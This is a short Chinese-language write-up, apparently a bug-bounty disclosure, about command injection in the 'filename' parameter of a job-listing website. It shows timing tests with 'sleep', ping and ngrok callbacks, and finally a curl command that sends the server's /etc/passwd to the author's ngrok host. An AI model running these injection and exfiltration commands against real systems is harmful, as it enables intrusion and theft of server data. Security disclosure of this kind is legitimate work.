[color=rgba(0, 0, 0, 0.9)]在一个职位列表网站中发现了一个命令注入漏洞。这是简单的概念证明。易受攻击的参数是filename。 [color=rgba(0, 0, 0, 0.9)] 我使用此命令“sleep 5”进行测试,响应延迟了 5-6 秒(6.113 毫秒)。请参阅下面右角的延迟。
[color=rgba(0, 0, 0, 0.9)]我再次用“sleep 10”仔细检查以确保并看到差异。响应再次延迟 10-11 秒(11.137 毫秒)。请参阅下面右角的延迟。 [color=rgba(0, 0, 0, 0.9)] [color=rgba(0, 0, 0, 0.9)]我尝试使用“ping -c 5 <我的服务器 IP 地址>” ping 我的服务器,并在我的服务器上运行tcpdump -i <interface> -n icmp以查看传入的 ICMP 数据包。该 ping 命令意味着向我的服务器 IP 地址发送 5 次 ICMP 数据包。 [color=rgba(0, 0, 0, 0.9)] [color=rgba(0, 0, 0, 0.9)] [color=rgba(0, 0, 0, 0.9)]很抱歉进行了编辑,但您可以看到我收到了 5 次 ICMP 数据包。我的服务器 IP 地址是 5.000.000.105,传入的 ICMP 数据包来自 000.000.39.169。现在我知道文件名参数容易受到命令注入的攻击。 [color=rgba(0, 0, 0, 0.9)]我正在使用 ngrok 进行另一个测试。因此,我在本地主机上运行./ngrok http 80 ,然后在易受攻击的参数上执行“curl blablabla.ngrok.io” 。 [color=rgba(0, 0, 0, 0.9)] [color=rgba(0, 0, 0, 0.9)] 现在查看 ngrok Web 界面 (http://127.0.0.1:4040) 上的响应。我收到来自 IP 地址 000.000.39.169 的传入请求。与上面 ICMP 请求中的 IP 地址相同。[color=rgba(0, 0, 0, 0.9)] [color=rgba(0, 0, 0, 0.9)]现在我可以读取易受攻击的服务器上的文件并使用此命令`curl -F shl=@/etc/passwd blablabla.ngrok.io`将其发送到我的 ngrok 地址。该命令意味着使用包含 /etc/passwd 的 shl 参数向 blablabla.ngrok.io 发送 POST 请求。 [color=rgba(0, 0, 0, 0.9)] [color=rgba(0, 0, 0, 0.9)]结果是易受攻击的服务器将其 /etc/passwd 发送到我的 ngrok 地址。再次来自 IP 地址 000.000.39.169。 [color=rgba(0, 0, 0, 0.9)]
|